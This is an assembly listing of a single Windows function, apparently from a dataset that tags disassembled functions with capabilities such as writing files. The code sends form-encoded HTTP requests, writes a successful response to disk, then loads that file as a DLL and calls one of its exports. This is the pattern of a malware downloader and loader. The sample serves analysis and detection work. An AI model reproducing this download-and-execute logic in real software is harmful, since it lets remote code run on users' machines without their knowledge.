Function at 0x1001027a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd54
push ebx
push esi
push edi
lea ecx, [esp + 0x80]
call fcn.100110c6
lea ecx, [esp + 0x80]
call fcn.100107f9
mov edi, eax
mov esi, dword [edi]
lea ebx, [edi + 4]
add esi, 3
mov dword [esp + 0x30], ebx
add esi, edi
mov ecx, ebx
mov edx, esi
call fcn.100107fc
lea eax, [edi + 8]
mov edx, esi
mov ecx, eax
mov dword [esp + 0x1c], eax
call fcn.100107fc
lea eax, [edi + 0xc]
mov edx, esi
mov ecx, eax
mov dword [esp + 0x48], eax
call fcn.100107fc
lea ecx, [esp + 0x28]
call fcn.10010f5d
push esi
push edi
lea ecx, [esp + 0x7c]
call fcn.100100ad
lea ecx, [esp + 0x74]
call fcn.100100d4
mov edi, eax
mov esi, edi
test edi, edi
je 0x10010354
lea ecx, [esp + 0x28]
call fcn.1001110c
test al, al
jne 0x1001031a
push 0x1001307c
lea ecx, [esp + 0x2c]
call fcn.1001071f
push dword [esi + 4]
lea ecx, [esp + 0x24]
push str.id___d
call fcn.10010f5d
push eax
call fcn.10010afc
add esp, 0xc
lea ecx, [esp + 0x28]
push eax
call fcn.1001074d
lea ecx, [esp + 0x20]
call fcn.10010b75
mov esi, dword [esi]
test esi, esi
jne 0x100102ff
mov ecx, edi
call fcn.10011288
lea ecx, [esp + 0x20]
call fcn.100106ce
push str.application_x_www_form_urlencoded
lea ecx, [esp + 0x18]
call fcn.100110e3
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x24]
call fcn.10010f3c
lea ecx, [esp + 0x14]
call fcn.10010b75
push dword [ebx]
lea ecx, [esp + 0x18]
call fcn.100110e3
lea ecx, [esp + 0x28]
call fcn.100107f9
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x2c]
call fcn.10011a82
push eax
lea ecx, [esp + 0x50]
call fcn.10010dd1
lea ecx, [esp + 0x38]
call fcn.10010b75
lea ecx, [esp + 0x14]
call fcn.10010b75
lea ecx, [esp + 0x4c]
call fcn.10010a65
mov edi, 0xc8
xor ebx, ebx
cmp eax, edi
je 0x10010537
mov esi, dword [esp + 0x1c]
lea ecx, [esp + 0x14]
push dword [esi]
call fcn.100110e3
lea ecx, [esp + 0x28]
call fcn.100107f9
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x2c]
call fcn.10011a82
push eax
lea ecx, [esp + 0x64]
call fcn.10010dd1
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x50]
call fcn.100106f2
lea ecx, [esp + 0x60]
call fcn.100106df
lea ecx, [esp + 0x38]
call fcn.10010b75
lea ecx, [esp + 0x14]
call fcn.10010b75
lea ecx, [esp + 0x4c]
call fcn.10010a65
cmp eax, edi
je 0x10010537
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x14]
push dword [eax]
call fcn.100110e3
push ebx
push ecx
lea eax, [esp + 0x30]
push eax
lea edx, [esp + 0x20]
lea ecx, [esp + 0x3c]
call fcn.100101a1
pop ecx
pop ecx
push eax
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x2c]
call fcn.10011a82
push eax
lea ecx, [esp + 0x64]
call fcn.10010dd1
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x50]
call fcn.100106f2
lea ecx, [esp + 0x60]
call fcn.100106df
lea ecx, [esp + 0x38]
call fcn.10010b75
lea ecx, [esp + 0x30]
call fcn.10010b75
lea ecx, [esp + 0x14]
call fcn.10010b75
lea ecx, [esp + 0x4c]
call fcn.10010a65
cmp eax, edi
je 0x10010537
push dword [esi]
lea ecx, [esp + 0x18]
call fcn.100110e3
push ebx
push ecx
lea eax, [esp + 0x30]
push eax
lea edx, [esp + 0x20]
lea ecx, [esp + 0x3c]
call fcn.100101a1
pop ecx
pop ecx
push eax
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x2c]
call fcn.10011a82
push eax
lea ecx, [esp + 0x64]
call fcn.10010dd1
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x50]
call fcn.100106f2
lea ecx, [esp + 0x60]
call fcn.100106df
lea ecx, [esp + 0x38]
call fcn.10010b75
lea ecx, [esp + 0x30]
call fcn.10010b75
lea ecx, [esp + 0x14]
call fcn.10010b75
lea ecx, [esp + 0x4c]
call fcn.10010a65
cmp eax, edi
jne 0x10010699
lea ecx, [esp + 0x4c]
call fcn.10010c91
mov esi, eax
mov ecx, eax
call fcn.10011107
neg eax
mov ecx, esi
push eax
call fcn.100107f9
push eax
lea ecx, [esp + 0x40]
call fcn.10010812
lea ecx, [esp + 0x38]
call fcn.1001093e
mov dword [esp + 0x30], eax
test eax, eax
je 0x10010690
push ecx
push ecx
lea ecx, [esp + 0x98]
call fcn.10010c39
lea ecx, [esp + 0x90]
call fcn.10010b57
push ebx
push 0x80
push 2
push ebx
push ebx
mov edi, eax
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10010684
lea ecx, [esp + 0x38]
mov dword [esp + 0x1c], ebx
call fcn.1001094a
push ebx
lea ecx, [esp + 0x20]
mov dword [esp + 0x18], eax
push ecx
push eax
push dword [esp + 0x3c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100105f6
mov eax, dword [esp + 0x14]
mov byte [esp + 0x13], 1
cmp dword [esp + 0x1c], eax
je 0x100105fa
mov byte [esp + 0x13], bl
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0x13], bl
je 0x10010684
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x10010684
push 0x100130b4
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
test edx, edx
je 0x1001067a
mov esi, dword [ebp + 0xc]
lea edi, [esp + 0x298]
mov ecx, 0x2ad
lea eax, [esp + 0x74]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [esp + 0xd54], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0xd50], 0x100100c5
mov dword [esp + 0xd58], 0x10010195
mov eax, dword [eax]
mov dword [esp + 0xd5c], eax
lea eax, [esp + 0x298]
push eax
push dword [ebp + 8]
call edx
pop ecx
pop ecx
mov bl, 1
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x90]
call fcn.10010b5a
lea ecx, [esp + 0x38]
call fcn.10010807
lea ecx, [esp + 0x4c]
call fcn.100106df
lea ecx, [esp + 0x20]
call fcn.100106da
lea ecx, [esp + 0x28]
call fcn.10010b75
lea ecx, [esp + 0x80]
call fcn.100106c9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret